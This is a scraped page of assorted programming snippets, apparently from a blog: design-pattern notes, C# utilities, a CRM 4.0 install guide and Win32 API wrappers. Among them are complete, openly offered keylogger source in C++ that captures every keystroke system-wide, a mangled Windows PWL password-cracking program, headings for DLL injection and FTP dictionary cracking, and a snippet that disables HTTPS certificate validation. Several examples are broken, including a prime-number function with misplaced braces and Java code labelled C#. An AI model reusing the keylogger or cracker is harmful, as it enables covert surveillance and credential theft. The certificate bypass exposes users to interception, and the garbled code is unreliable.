MVC Pattern

MVC Pattern stands for Model-View-Controller Pattern. This pattern is used to separate application's concerns.

  • Model - Model represents an object or JAVA POJO carrying data. It can also have logic to update controller if its data changes.

  • View - View represents the visualization of the data that model contains.

  • Controller - Controller acts on both model and view. It controls the data flow into model object and updates the view whenever data changes. It keeps view and model separate.

Implementation

We are going to create a Student object acting as a model.StudentView will be a view class which can print student details on console and StudentController is the controller class responsible to store data in Student object and update view StudentView accordingly.

 

Step 1

Create Model.

Student.cs


public class Student {
private String rollNo;
private String name;

public String getRollNo() {
return rollNo;
}

public void setRollNo(String rollNo) {
this.rollNo = rollNo;
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}
}

Step 2


Create View.

StudentView.cs


public class StudentView {
public void printStudentDetails(String studentName, String studentRollNo){
Console.WriteLine("Student: ");
Console.WriteLine("Name: " + studentName);
Console.WriteLine("Roll No: " + studentRollNo);
}
}

Step 3


Create Controller.

StudentController.cs


public class StudentController {
private Student model;
private StudentView view;

public StudentController(Student model, StudentView view){
this.model = model;
this.view = view;
}

public void setStudentName(String name){
model.setName(name);
}

public String getStudentName(){
return model.getName();
}

public void setStudentRollNo(String rollNo){
model.setRollNo(rollNo);
}

public String getStudentRollNo(){
return model.getRollNo();
}

public void updateView(){
view.printStudentDetails(model.getName(), model.getRollNo());
}
}

Step 4


Use the StudentController methods to demonstrate MVC design pattern usage.

MVCPatternDemo.cs




public class MVCPatternDemo {
public static void main(String[] args) {

//fetch student record based on his roll no from the database
Student model = retriveStudentFromDatabase();

//Create a view : to write student details on console
StudentView view = new StudentView();

StudentController controller = new StudentController(model, view);

controller.updateView();

//update model data
controller.setStudentName("John");

controller.updateView();
}

private static Student retriveStudentFromDatabase(){
Student student = new Student();
student.setName("Robert");
student.setRollNo("10");
return student;
}
}



Ping IP Addresses

Small module written to replicate the ping functionality in C# code

Complete Installation guide for CRM 4.0

Complete Installation guide for CRM 4.0 / Step by Step guide to install CRM 4.0

        Last week I installed Microsoft Dynamic 4.0 on my virtual machine and I found that it will be helpful for beginner like me, if there is a step by step installation guide. Lets start with OS selection.

1. You can use Windows Server 2003 or later server version. I had Windows Server 2003 R2.

2. Install latest service pack for OS you installed.

3. Install Internet Information Service.

4. Install Active Directory.

5. Configure DNS Server.

6. Create new user for domain and make him member of Administrators group.

7. Install SQL Server 2005 with Reporting Service and Analysis service.

8. Configure new account as service account for Report Server and Analysis server.

9. Install Visual Studio 2008.

10. Start installation of CRM 4.0

11. Enter display name for your Organization.

clip_image001

12. Next step is to select installation path, you can leave this as it is or select specific folder,

clip_image002

13. Next select website for CRM, I choose new website with different port address in my case it was 5555 as shown in image below,

clip_image003

14. Next you need to enter URL for Reporting server.

15. Next you have to select Organization Unit. Click on Browse button and select the root node of your domain in my case it is chirag.

clip_image004

16. On next step you need to specify security account, choose the one you created in step 6. Enter the password in password textbox and click next.

17. Select your local machine as Email Router setting or select specific machine on domain which you are using at email server. I chose my local machine so localhost.

18. Once you click next you will see System Requirements screen. If Domain user, SQL Server Reporting Service and ASP.NET are installed properly you will receive no error or warning else you will receive error message. I received following errors,

clip_image005

19. If you receive error message for SQL Server or SQL Server Reporting Service don’t be afraid. Open Services from Start – All Programs – Administrative Tools – Services. Check whether SQL Server Agent is running. If not right click on service and select property. Select Startup Type as Automatic and click on start button.

20. Another common error is for Indexing service. Follow the steps mention in point 19 to start Indexing Service.

21. You can see a warning mentioning Verify Domain User account SPN for the Microsoft Dynamics CRM ASP.NET Application Pool account. This will usually shows when you add specific domain account for security account in step 16.

22. If System Requirements screen show no error or warning on next step installation will be started.

23. Finally you will see following screen, this means your CRM is installed.

clip_image006

Clipboard WIn32 API for C#

PInvoke using the C#, this is a list of Win32 API to work with Clipboard

Using Base Api (Win32 API) in C#

using System;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.Windows.Forms;
using System.Data;
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.Compatibility;
using Microsoft.VisualBasic.Compatibility.VB6;

namespace IndiLogiX
{
 namespace Native32
 {
  public class Native32
  {

   //=========================================================
   // === External Consts: ===
   public const int vbString = 8;

   public static IntPtr GetByteFromString(String Buf)
   {
    IntPtr pBuf = System.Runtime.InteropServices.Marshal.StringToHGlobalAnsi(Buf);
    return pBuf;
   }
   public static void GetStringFromByte(ref String Buf, IntPtr pBuf)
   {
    Buf = System.Runtime.InteropServices.Marshal.PtrToStringAnsi(pBuf);
   }

   // General API functions.

   [System.Runtime.InteropServices.DllImport("shell32.dll", EntryPoint = "ShellAboutA")]
   private static extern unsafe int ShellAbout(int hwnd, IntPtr szApp, IntPtr szOtherStuff, int hIcon);
   private unsafe int ShellAboutWrp(int hwnd, string szApp, string szOtherStuff, int hIcon)
   {
    int ret;
    IntPtr pszApp = GetByteFromString(szApp);
    IntPtr pszOtherStuff = GetByteFromString(szOtherStuff);

    ret = ShellAbout(hwnd, pszApp, pszOtherStuff, hIcon);

    //VBtoConverter.GetStringFromByte(ref szApp, pszApp);
    //VBtoConverter.GetStringFromByte(ref szOtherStuff, pszOtherStuff);

    return ret;
   }



   const int HWND_TOPMOST = -1;
   const int SWP_NOACTIVATE = 0x10;
   const int SWP_SHOWWINDOW = 0x40;
   const int SWP_HIDEWINDOW = 0x80;
   const int SWP_NOZORDER = 0x4;
   const int SWP_NOMOVE = 0x2;
   const int SWP_NOREPOSITION = 0x200;
   const int SWP_NOSIZE = 0x1;

   [System.Runtime.InteropServices.DllImport("user32")]
   private static extern int SetWindowPos(int hwnd, int hWndInsertAfter, int X, int Y, int cx, int cy, int wFlags);

   [System.Runtime.InteropServices.DllImport("user32", EntryPoint = "FindWindowA")]
   private static extern unsafe int FindWindow(IntPtr lpClassName, IntPtr lpWindowName);
   private unsafe int FindWindowWrp(string lpClassName, string lpWindowName)
   {
    int ret;
    IntPtr plpClassName = GetByteFromString(lpClassName);
    IntPtr plpWindowName = GetByteFromString(lpWindowName);

    ret = FindWindow(plpClassName, plpWindowName);

    //VBtoConverter.GetStringFromByte(ref lpClassName, plpClassName);
    //VBtoConverter.GetStringFromByte(ref lpWindowName, plpWindowName);

    return ret;
   }


   [System.Runtime.InteropServices.DllImport("user32")]
   private static extern int GetForegroundWindow();

   [System.Runtime.InteropServices.DllImport("user32")]
   private static extern int GetParent(int hwnd);

   [System.Runtime.InteropServices.DllImport("user32", EntryPoint = "GetWindowTextLengthA")]
   private static extern int GetWindowTextLength(int hwnd);

   [System.Runtime.InteropServices.DllImport("user32", EntryPoint = "GetWindowTextA")]
   private static extern unsafe int GetWindowText(int hwnd, IntPtr lpString, int cch);
   private unsafe int GetWindowTextWrp(int hwnd, ref string lpString, int cch)
   {
    int ret;
    IntPtr plpString = GetByteFromString(lpString);

    ret = GetWindowText(hwnd, plpString, cch);

    GetStringFromByte(ref lpString, plpString);

    return ret;
   }


   [System.Runtime.InteropServices.DllImport("advapi32.dll")]
   private static extern unsafe int GetUserNameA(IntPtr lpBuffer, int* nSize);
   private unsafe int GetUserNameAWrp(ref string lpBuffer, ref int nSize)
   {
    int ret;
    IntPtr plpBuffer = GetByteFromString(lpBuffer);

    fixed (int* pnSize = &nSize)
    {
     ret = GetUserNameA(plpBuffer, pnSize);
    }

    GetStringFromByte(ref lpBuffer, plpBuffer);

    return ret;
   }


   private int TaskBarhWnd;


   // Exit's windows with one of the following results.
   // dwReserved = 0
   [System.Runtime.InteropServices.DllImport("user32")]
   private static extern int ExitWindowsEx(int uFlags, int dwReserved);

   const int EXIT_LOGOFF = 0;
   const int EXIT_SHUTDOWN = 1;
   const int EXIT_REBOOT = 2;

   [System.Runtime.InteropServices.DllImport("kernel32")]
   private static extern unsafe int GetComputerNameA(IntPtr lpBuffer, int* nSize);
   private unsafe int GetComputerNameAWrp(ref string lpBuffer, ref int nSize)
   {
    int ret;
    IntPtr plpBuffer = GetByteFromString(lpBuffer);

    fixed (int* pnSize = &nSize)
    {
     ret = GetComputerNameA(plpBuffer, pnSize);
    }

    GetStringFromByte(ref lpBuffer, plpBuffer);

    return ret;
   }


   // General API functions. (with no VBasic wrapper)

   // Puts the app to sleep for the given number of milliseconds
   [System.Runtime.InteropServices.DllImport("kernel32")]
   private static extern void Sleep(int dwMilliseconds);

   public void ExitWindows(int uFlags)
   {
#if def_ExitWindows
   ExitWindowsEx(uFlags, 0);
#endif // def_ExitWindows
   }


   public string GetUserName()
   {
    string GetUserName = "";
#if def_GetUserName
    char[] UserName = new char[255];

   GetUserNameAWrp(ref UserName, ref 255);
   GetUserName = Strings.Left(UserName, Strings.InStr(UserName, Chr(0), CompareMethod.Text)-1);
#endif // def_GetUserName
    return GetUserName;
   }
   // 
   // Returns the computer's name
   // 
   public string GetComputerName()
   {
    string GetComputerName = "";
#if def_GetComputerName
    char[] UserName = new char[255];

   GetComputerNameAWrp(ref UserName, ref 255);
   GetComputerName = Strings.Left(UserName, Strings.InStr(UserName, Chr(0), CompareMethod.Text)-1);
#endif // def_GetComputerName
    return GetComputerName;
   }

   // 
   // Returns the title of the active window.
   // if GetParent = true then the parent window is
   // returned.
   // 
   public string GetActiveWindowTitle(bool ReturnParent)
   {
    string GetActiveWindowTitle = "";
#if def_GetActiveWindowTitle
    int i;
    int j;

   i = GetForegroundWindow;


   if (ReturnParent) {
    while (i!=0) {
     j = i;
     i = GetParent(i);
    }

    i = j;
   }

   GetActiveWindowTitle = GetWindowTitle(i);
#endif // def_GetActiveWindowTitle
    return GetActiveWindowTitle;
   }

   public void HideTaskBar()
   {
#if def_HideTaskBar
   TaskBarhWnd = FindWindowWrp("Shell_traywnd", "");
   if (TaskBarhWnd!=0) {
    SetWindowPos(TaskBarhWnd, 0, 0, 0, 0, 0, SWP_HIDEWINDOW);
   }
#endif // def_HideTaskBar
   }
   public void ShowTaskBar()
   {
#if def_ShowTaskBar
   if (TaskBarhWnd!=0) {
    SetWindowPos(TaskBarhWnd, 0, 0, 0, 0, 0, SWP_SHOWWINDOW);
   }
#endif // def_ShowTaskBar
   }
   // 
   // Returns the handle of the active window.
   // if GetParent = true then the parent window is
   // returned.
   // 
   public int GetActiveWindow(bool ReturnParent)
   {
    int GetActiveWindow = 0;
#if def_GetActiveWindow
    int i;
    int j;

   i = GetForegroundWindow;


   if (ReturnParent) {
    while (i!=0) {
     j = i;
     i = GetParent(i);
    }

    i = j;
   }

   GetActiveWindow = i;
#endif // def_GetActiveWindow
    return GetActiveWindow;
   }


   public string GetWindowTitle(int hwnd)
   {
    string GetWindowTitle = "";
#if def_GetWindowTitle
    int l;
    string s = "";

   l = GetWindowTextLength(hwnd);
   s = Strings.Space(l+1);

   GetWindowTextWrp(hwnd, ref s, l+1);

   GetWindowTitle = Strings.Left(s, l);
#endif // def_GetWindowTitle
    return GetWindowTitle;
   }

   // 
   // Makes a form the top window if top = True.  When top = False it removes
   // this property.
   // 
   // Public Sub TopMostForm(f As Form, Top As Boolean)
   // If Top Then
   // SetWindowPos f.hwnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE + SWP_NOSIZE
   // Else
   // SetWindowPos f.hwnd, 0, 0, 0, 0, 0, SWP_NOMOVE + SWP_NOSIZE
   // End If
   // End Sub

   // 
   // Sleeps for a given number of seconds.
   // 
   public void Pause(float seconds)
   {
#if def_Pause
   Sleep(Math.Floor(Convert.ToDouble(seconds*1000.0)));
#endif // def_Pause
   }

   // 
   // Generates a standard windows About box.
   // 
   public void AboutBox(object frm)
   {
    //AboutBox(frm, null);
   }
   public void AboutBox(object frm, ref object copyright)
   {
#if def_AboutBox
   if (VarType(copyright)==VBtoConverter.vbString) {
    ShellAboutWrp(frm.hwnd, App.ProductName, copyright, frm.Icon);
   } else {
    ShellAboutWrp(frm.hwnd, App.ProductName, "", frm.Icon);
   }
#endif // def_AboutBox
   }






  }
 }
}

Finding Prime number in C#

static bool Primer(ulong x)
{
 bool result = true;
 ulong i = 2;

 while (i <= x / 2)
 {
  if (x % i == 0)
  {
   result = false;
   break;
  }
  else{
   i++;
  }
  if (x % i == 0)
  result = false;
 return result;
 }
}

webcam access through win32 API in C#

HTTP GET Request generator (C++)

HTTP GET Request generator isa a C++ code to generate the GET request

DLL injection with GUI

Example of DLL injection with a GUI in c++

Crack FTP Account using Dictionary (C++)

An example of how to crack an FTP account using the Dictionary attack

Get the computer password (C++)

//Get the computer password
# include
# include
# include
# include
# include
# include
# include

unsigned char huge Data[100001];
unsigned char keystream[1001];
int Rpoint[300];

void main(int argc,char *argv[]){
FILE *fd;
int i,j;
int size;
char ch;
char *name;
int cracked;
int sizemask;
int maxr;
int rsz;
int pos;
int Rall[300]; Resourse allocation table 

if(argc<2){
printf("usage: glide filename (username)");
exit(1);
}
Read PWL file 

fd=fopen(argv[1],"rb");
if(fd==NULL){
printf("can't open file %s",argv[1]);
exit(1);
}
size=0;
while(!feof(fd)){
Data[size++]=fgetc(fd);
}
size--;
fclose(fd);

Find Username 
name=argv[1];
if(argc>2)name=argv[2];
printf("Username:%s
",name);

Copy encrypted text into keystream 
cracked=size-0x0208;
if(cracked<0)cracked=0;
if(cracked>1000)cracked=1000;
memcpy(keystream,Data+0x208,cracked);

Generate 20 bytes of keystream 
for(i=0;i<20;i++){
ch=toupper(name);
if(ch==0)break;
if(ch=='.')break;
keystream^=ch;
};
cracked=20;

Find allocated resources 

sizemask=keystream[0]+(keystream[1]<<8);
printf("Sizemask:%04X
",sizemask);

for(i=0;i<256;i++){
if(Data!=0xff){
Rall[Data]++;
if(Data>maxr)maxr=Data;
}
}

maxr=(((maxr/16)+1)*16); Resourse pointer table size appears to be
divisible by 16 

Search after resources 

Rpoint[0]=0x0208+2*maxr+20+2; First resources 
for(i=0;i;
rsz=Data[pos]+(Data[pos+1]<<8);
rsz^=sizemask;
printf("Analysing block with size:%04x (%d:%d)
",rsz,i,Rall);
if((Rall==0)&&(rsz!=0)){
printf("Unused resourse has nonzero size!!!
");
printf("If last line produed any:You may try to recover
");
printf("Press y to attempt the recovery
");
ch=getch();
if(ch!='y')exit(0);
rsz=2;
i=i-1;
}
pos=pos+rsz;

Resourse have a tedency to have the wrong size for some reason
Chech for correct size

if(i & 0x00ff;
keystream[21+2*i]^=(Rpoint>>8) & 0x00ff;
}
cracked+=maxr*2+2;
printf("%d Bytes of ketstream recoverd 
",cracked);

Decrypt resources 
for(i=0;i;
if(rsz>cracked)rsz=cracked;
printf("Resource[%d](%d)
",i,rsz);
for(j=0;j+j]^keystream[j]);
printf("
");
}
exit(0);
}

Design pattern: Chain Of Responsibility

In object-oriented design, the chain-of-responsibility pattern is a design pattern consisting of a source of command objects and a series of processing objects.[1] Each processing object contains logic that defines the types of command objects that it can handle; the rest are passed to the next processing object in the chain. A mechanism also exists for adding new processing objects to the end of this chain.
In a variation of the standard chain-of-responsibility model, some handlers may act as dispatchers, capable of sending commands out in a variety of directions, forming a tree of responsibility. In some cases, this can occur recursively, with processing objects calling higher-up processing objects with commands that attempt to solve some smaller part of the problem; in this case recursion continues until the command is processed, or the entire tree has been explored. An XML interpreter might work in this manner.
This pattern promotes the idea of loose coupling, which is considered a programming best practice.



Check if all numeric string

This C# code snippet checks to see if the specified string is all numeric, that is, contains no alphabetic characters.

using System.Text.RegularExpressions;
...
const string ALL_NUMERIC_PATTERN = "[a-z|A-Z]";
 
static readonly Regex All_Numeric_Regex = 
   new Regex (ALL_NUMERIC_PATTERN);
 
static bool AllNumeric ( string inputString )
{
   if (All_Numeric_Regex.IsMatch ( inputString ))
   { 
      return false;
   }
   return true;
}
Below is another solution:
using System.Text.RegularExpressions;
...
static bool AllNumeric(string inputString)
{
   return Regex.IsMatch(inputString, @"^\d+$");
}

Keylogger in C++

//Keylogger in C++
// This code will only work if you have Windows NT or 
    // any later version installed, 2k and XP will work. 
     
     
    #define _WIN32_WINNT 0x0400 
     
    #include  
    #include  
    #include  
     
    // Global Hook handle 
    HHOOK hKeyHook; 
     
     
     
    // This is the function that is "exported" from the 
    // execuatable like any function is exported from a 
    // DLL. It is the hook handler routine for low level 
    // keyboard events. 
     
    __declspec(dllexport) LRESULT CALLBACK KeyEvent ( 
     
      int nCode,   // The hook code 
      WPARAM wParam,  // The window message (WM_KEYUP, WM_KEYDOWN, etc.) 
      LPARAM lParam  // A pointer to a struct with information about the pressed key 
     
    ) { 
     if  ((nCode == HC_ACTION) &&   // HC_ACTION means we may process this event 
     ((wParam == WM_SYSKEYDOWN) ||  // Only react if either a system key ... 
     (wParam == WM_KEYDOWN)))   // ... or a normal key have been pressed. 
     { 
     
     //  This struct contains various information about 
     //  the pressed key such as hardware scan code, virtual 
     //  key code and further flags. 
     
     KBDLLHOOKSTRUCT hooked = 
     *((KBDLLHOOKSTRUCT*)lParam); 
     
     
     //  dwMsg shall contain the information that would be stored 
     //  in the usual lParam argument of a WM_KEYDOWN message. 
     //  All information like hardware scan code and other flags 
     //  are stored within one double word at different bit offsets. 
     //  Refer to MSDN for further information: 
     // 
     //  http://msdn.microsof...us/winui/winui/ 
     // windowsuserinterface/userinput/keyboardinput/aboutkeyboardinput.asp 
     // 
     //  (Keystroke Messages) 
     
     
     DWORD dwMsg = 1; 
     dwMsg += hooked.scanCode << 16; 
     dwMsg += hooked.flags << 24; 
     
     
     //  Call the GetKeyNameText() function to get the language-dependant 
     //  name of the pressed key. This function should return the name 
     //  of the pressed key in your language, aka the language used on 
     //  the system. 
     
     char lpszName[0x100] = {0}; 
     lpszName[0] = '['; 
     
     int i = GetKeyNameText(dwMsg, 
     (lpszName+1),0xFF) + 1; 
     
     lpszName[i] = ']'; 
     
     
     //  Print this name to the standard console output device. 
     
     FILE *file; 
     file=fopen("keys.log","a+"); 
     fputs(lpszName,file); 
     fflush(file); 
     } 
     
     
    //  the return value of the CallNextHookEx routine is always 
    //  returned by your HookProc routine. This allows other 
    //  applications to install and handle the same hook as well. 
     
     return CallNextHookEx(hKeyHook, 
     nCode,wParam,lParam); 
     
    } 
     
     
     
    // This is a simple message loop that will be used 
    // to block while we are logging keys. It does not 
    // perform any real task ... 
     
    void MsgLoop() 
    { 
     MSG message; 
     while (GetMessage(&message,NULL,0,0)) { 
     TranslateMessage( &message ); 
     DispatchMessage( &message ); 
     } 
    } 
     
     
    // This thread is started by the main routine to install 
    // the low level keyboard hook and start the message loop 
    // to loop forever while waiting for keyboard events. 
     
    DWORD WINAPI KeyLogger(LPVOID lpParameter) 
    { 
     
    //  Get a module handle to our own executable. Usually, 
    //  the return value of GetModuleHandle(NULL) should be 
    //  a valid handle to the current application instance, 
    //  but if it fails we will also try to actually load 
    //  ourself as a library. The thread's parameter is the 
    //  first command line argument which is the path to our 
    //  executable. 
     
     HINSTANCE hExe = GetModuleHandle(NULL); 
     if (!hExe) hExe = LoadLibrary((LPCSTR) lpParameter); 
     
    //  Everything failed, we can't install the hook ... this 
    //  never happened, but error handling is important. 
     
     if (!hExe) return 1; 
     
     
     
     hKeyHook = SetWindowsHookEx (  // install the hook: 
     
     WH_KEYBOARD_LL, // as a low level keyboard hook 
     (HOOKPROC) KeyEvent,   // with the KeyEvent function from this executable 
     hExe,   // and the module handle to our own executable 
     NULL   // and finally, the hook should monitor all threads. 
     ); 
     
     
    //  Loop forever in a message loop and if the loop 
    //  stops some time, unhook the hook. I could have 
    //  added a signal handler for ctrl-c that unhooks 
    //  the hook once the application is terminated by 
    //  the user, but I was too lazy. 
     
     MsgLoop(); 
     UnhookWindowsHookEx(hKeyHook); 
     return 0; 
    } 
     
     
    // The main function just starts the thread that 
    // installs the keyboard hook and waits until it 
    // terminates. 
     
    int main(int argc, char** argv) 
    { 
     HANDLE hThread; 
     DWORD dwThread; 
     DWORD exThread; 
     
     hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE) 
     KeyLogger, (LPVOID) argv[0], NULL, &dwThread); 
     
     if (hThread) { 
     return WaitForSingleObject(hThread,INFINITE); 
     } else { 
     return 1; 
     } 
    }

What is a design pattern?

What is a design pattern?

A design pattern is a proven design solution to a common problem faced by software developers. Design patterns became popular with the rise of Object Oriented Analysis and Design (OOAD). Design patterns are designed to help developers deliver higher quality, more easily maintained software products in less time and at lower cost.

Design patterns are:

  • encapsulated - They embody design knowledge regarding collaboration of classes and objects, distribution of
  • responsibility, and other design issues.
  • object-oriented - They incorporate OOAD principles—e.g., low coupling, high cohesion.
  • reusable - They are adaptable, flexible, general solutions to classes of problems with broad applicability. Design patterns simplify the task facing the developer.

    How did design patterns originate?

    The history of design patterns is quite short. They originated as an architectural concept proposed by Christopher Alexander in the late nineteen seventies (ca. 1977). Kent Beck and Ward Cunningham experimented with the notion of applying patterns to computer programming in the late nineteen eighties (ca. 1987). Design patterns did not become widely used in computer science until after Design Patterns: Elements of Reusable Object-Oriented Software by the so-called Gang of Four was published in 1994.

    How are design patterns classified?

    Design patterns are categorized to facilitate learning and extending them. They are classified in terms of the underlying problems they address, i.e. according to usage.

    The three main design pattern categories are:

  • Behavioral design patterns - characterize the manner of class and object interaction and how responsibilities are distributed among them.
  • Creational design patterns - address the object creation process. Creational design patterns encapsulate knowledge about how, when, and by whom an instance is created.
  • Structural design patterns - address the composition of classes and objects. Design patterns vary both in granularity and level of abstraction.

    Behavioral design patterns

  • Chain of Responsibility Define a method of passing a request among a chain of objects.
  • Command Encapsulate a command request in an object.
  • Interpreter Allow inclusion of language elements in an application.
  • Iterator Enable sequential access to collection elements.
  • Mediator Define simplified communication between classes.
  • Memento Save and restore the internal state of an object.
  • Observer Define a scheme for notifying objects of changes to another object.
  • State Alter the behavior of an object when its state changes.
  • Strategy Encapsulate an algorithm inside a class.
  • Template Method Allow subclasses to redefine the steps of an algorithm.
  • Visitor Define a new operation on a class without changint it.

    Creational design patterns

  • Abstract Factory Encapsulate a set of analogous factories that produce families of objects.
  • Builder Encapsulate the construction of complex objects from their representation; so, the same building process can create various representations by specifying only type and content.
  • Factory Method Allow subclasses to "decide" which class to instantiate.
  • Prototype Create an initialized instance for cloning or copying.
  • Singleton Ensure that only a single instance of a class exists and provide a single method for gaining access to it.

    Structural design patterns

  • Adapter Adapt an interface to an expected interface.
  • Bridge Decouple an interface from its implementation.
  • Composite Create a tree structure for part-whole hierarchies.
  • Decorator Extend functionality dynamically.
  • Fa├žade (Facade) Simplify usage by defining a high-level interface.
  • Flyweight Support fine-grained objects efficiently by sharing.
  • Proxy Represent an object with another object for access control.
  • Strip all HTML tags

    This C# code snippet removes all HTML tags from the specified string and returns the stripped string.
    
    using System.Text.RegularExpressions;
    ...
    const string HTML_TAG_PATTERN = "<.*?>";
     
    static string StripHTML (string inputString)
    {
       return Regex.Replace 
         (inputString, HTML_TAG_PATTERN, string.Empty);
    }
    

    Empty the Recycle Bin

    This C# code snippet empties the Recycle Bin. Windows will display a confirmation dialog box.
    using System.Runtime.InteropServices;
    ...
     
    enum RecycleFlags : uint
    {
       SHERB_NOCONFIRMATION = 0x00000001,
       SHERB_NOPROGRESSUI   = 0x00000002,
       SHERB_NOSOUND        = 0x00000004
    }
     
    [DllImport("Shell32.dll", CharSet = CharSet.Unicode)]
    static extern uint SHEmptyRecycleBin 
     (IntPtr hwnd, 
     string pszRootPath,
     RecycleFlags dwFlags);
     
    public static void Main()
    {
        uint result = SHEmptyRecycleBin (IntPtr.Zero, null, 0);
        Console.WriteLine ("Result: {0}", result);
    }
    

    Ignore Invalid HTTPS certificate

    To ignore invalid HTTPS certicates calling HTTPS Web service (for example), it is necessary to implement a dummy callback for the ServicePointManager:
    
    using System.Net;
    ...
     
       ServicePointManager.ServerCertificateValidationCallback =
          new RemoteCertificateValidationCallback
             (IgnoreCertificateErrorHandler);
    ...
    private bool IgnoreCertificateErrorHandler
       (object sender,
       System.Security.Cryptography.X509Certificates.X509Certificate certificate,
       System.Security.Cryptography.X509Certificates.X509Chain chain,
       System.Net.Security.SslPolicyErrors sslPolicyErrors)
    {
     
       return true;
    }
    ...
    

    HTTP Post

    Log messages to a file

    This C# code snippet logs messages to a disk file for debugging or other logging purposes. Such code is especially useful when writing server applications which contain no user interface. Call the following simple method like:
    LogMessageToFile ("Message to be logged.");
    
    Automatically, the current datetime is inserted with your message into the log file.
    using System; 
    using System.IO; 
     
    public string GetTempPath()
    {
       string path = 
          System.Environment.GetEnvironmentVariable ("TEMP");
       if (!path.EndsWith ("\\"))
       {
          path += "\\";
       }
       return path;
    }
     
    public void LogMessageToFile (string message)
    {
       System.IO.StreamWriter sw = 
          System.IO.File.AppendText(
             GetTempPath() + "Logfile.txt"); // Change filename
       try
       {
          string logLine = 
             System.String.Format(
                "{0:G}: {1}.", System.DateTime.Now, message);
          sw.WriteLine(logLine);
       }
       finally
       {
          sw.Close();
       }
    }
    
    More sophisticated logging can be achieved using the Windows Event Log. Simply, create an event message source and either create a custom event log or use the application log. Typically, to add a source to the log, such logging programs will implement the System.Configuration.Install.Installer interface.
    And, the TraceListener infrastructure can be used to turn them on or off or redirect sources to debugger output, the Event Log, a text file, etc. A custom trace listener can log to an arbitrary log.

    Create/Delete a directory

    This C# code snippet first creates (makes) then deletes a directory (folder) from disk.
    using System;
    using System.IO;
     
    class DirectoryCreation
    {
       public static void Main()
       {
          string directoryString = 
             Directory.GetCurrentDirectory() +
             @"\TestDir";
          Directory.CreateDirectory (directoryString);
          Console.WriteLine ("Created: {0}", directoryString);
          Directory.Delete (directoryString);
          Console.WriteLine ("Deleted: {0}", directoryString);
       }
    }
    

    Clear Internet Explorer cache

    This C# code snippet deletes all the Temporary Internet files, i.e. clears the Internet Explorer cache.
    using System;
    using System.IO; 
    
    void clearIECache()
    {
       ClearFolder (new DirectoryInfo (Environment.GetFolderPath
          (Environment.SpecialFolder.InternetCache)));
    }
     
    void ClearFolder (DirectoryInfo folder)
    {
       foreach (FileInfo file in folder.GetFiles())
          { file.Delete(); }
       foreach (DirectoryInfo subfolder in folder.GetDirectories())
          { ClearFolder(subfolder); }
    }
     
    public static void Main( )
    {
       new Test().clearIECache ();
    }
    

    Create Group Object

    This C# code snippet creates a Group Object in Active Directory.
    using System.DirectoryServices;
    using System.Reflection;
     
    public class ADGroup
    {
     
       private String ADGRPOUP = "group";
     
       // Grouptype-Definition 
       enum GrpType : uint
       {
          UnivGrp = 0x08,
          DomLocalGrp = 0x04,
          GlobalGrp = 0x02,
          SecurityGrp = 0x80000000
       }
     
       DirectoryEntry ent = new DirectoryEntry("LDAP://RootDSE");
       String str = (String)ent.Properties["defaultNamingContext"][0];
       deAD = new DirectoryEntry("LDAP://" + str);
       GrpType gt = GrpType.GlobalGrp | GrpType.SecurityGrp;
       int typeNum = (int)gt; 
       DirectoryEntry ou = deAD.Children.Find("OU=Users");
       DirectoryEntry group = ou.Children.Add("cn=myGroupName", ADGRPOUP );
       group.Properties["sAMAccountName"].Add("myGroupName");
       group.Properties["description"].Add(" description myGroupName");
       group.Properties["groupType"].Add(typeNum);
       group.CommitChanges();
    }
    

    Search array with binary search

    This C# code snippet searches an array of integers using a binary search.

    Get NetBIOS and DNS computer names

    This C# code snippet obtains the NetBIOS and DNS computer names of the local computer.
    using System;
     
    static string GetLocalHostName ()
    {
       string netBiosName = System.Environment.MachineName;
       //return netBiosName;
     
       // Following method is deprecated
       // string dnsName = 
       //   System.Net.Dns.GetHostByName("LocalHost").HostName;
     
       string dnsName = System.Net.Dns.GetHostName();
       return dnsName;
    }
    

    Format the date and time

    This C# code snippet displays the date and time in various formats.
    using System;
    using C = System.Console; 
    ...
     
    static void Main() {
       DateTime dateTime = DateTime.Now;
       C.WriteLine ("d = {0:d}", dateTime );  // mm/dd/yyyy
       C.WriteLine ("D = {0:D}", dateTime );  // month dd, yyyy
       C.WriteLine ("f = {0:f}", dateTime );  // day, month dd, yyyy hh:mm 
       C.WriteLine ("F = {0:F}", dateTime );  // day, month dd, yyyy HH:mm:ss AM/PM 
       C.WriteLine ("g = {0:g}", dateTime );  // mm/dd/yyyy HH:mm
       C.WriteLine ("G = {0:G}", dateTime );  // mm/dd/yyyy hh:mm:ss
       C.WriteLine ("M = {0:M}", dateTime );  // month dd
       C.WriteLine ("R = {0:R}", dateTime );  // ddd Month yyyy hh:mm:ss GMT
       C.WriteLine ("s = {0:s}", dateTime );  // yyyy-mm-dd hh:mm:ss (Sortable)
       C.WriteLine ("t = {0:t}", dateTime );  // hh:mm AM/PM
       C.WriteLine ("T = {0:T}", dateTime );  // hh:mm:ss AM/PM
     
       // yyyy-mm-dd hh:mm:ss (Sortable)
       C.WriteLine ("u = {0:u}", dateTime );  
     
       // day, month dd, yyyy hh:mm:ss AM/PM
       C.WriteLine ("U = {0:U}", dateTime );
     
       // month, yyyy (March, 2006)
       C.WriteLine ("Y = {0:Y}", dateTime );  
       C.WriteLine ("Month = " + dateTime.Month); // month number (3)
     
       // day of week name (Friday)
       C.WriteLine ("Day Of Week = " + dateTime.DayOfWeek);     
     
       // 24 hour time (16:12:11)
       C.WriteLine ("Time Of Day = " + dateTime.TimeOfDay);     
     
       // (632769991310000000)
       C.WriteLine("DateTime.Ticks = " + dateTime.Ticks);   
       // Ticks are the number of 100 nanosecond intervals since 01/01/0001 12:00am
       // Ticks are useful in elapsed time measurement.
       }
    

    Create a MD5 Hash from a string

    This C# code snippet creates a MD5 hash—a 32-character string of hexadecimal numbers—from a string. Passwords are commonly stored in databases as a hash code.

    Call the following code with this method call:
    string md5hash = CreateMD5Hash
       ("abcdefghijklmnopqrstuvwxyz");
    
    md5hash will contain this string: "C3FCD3D76192E4007DFB496CCA67E13B".
    using System;
     
    public string CreateMD5Hash (string input)
    {
       // Use input string to calculate MD5 hash
       MD5 md5 = System.Security.Cryptography.MD5.Create();
       byte[] inputBytes = System.Text.Encoding.ASCII.GetBytes (input);
       byte[] hashBytes  = md5.ComputeHash (inputBytes);
     
       // Convert the byte array to hexadecimal string
       StringBuilder sb = new StringBuilder();
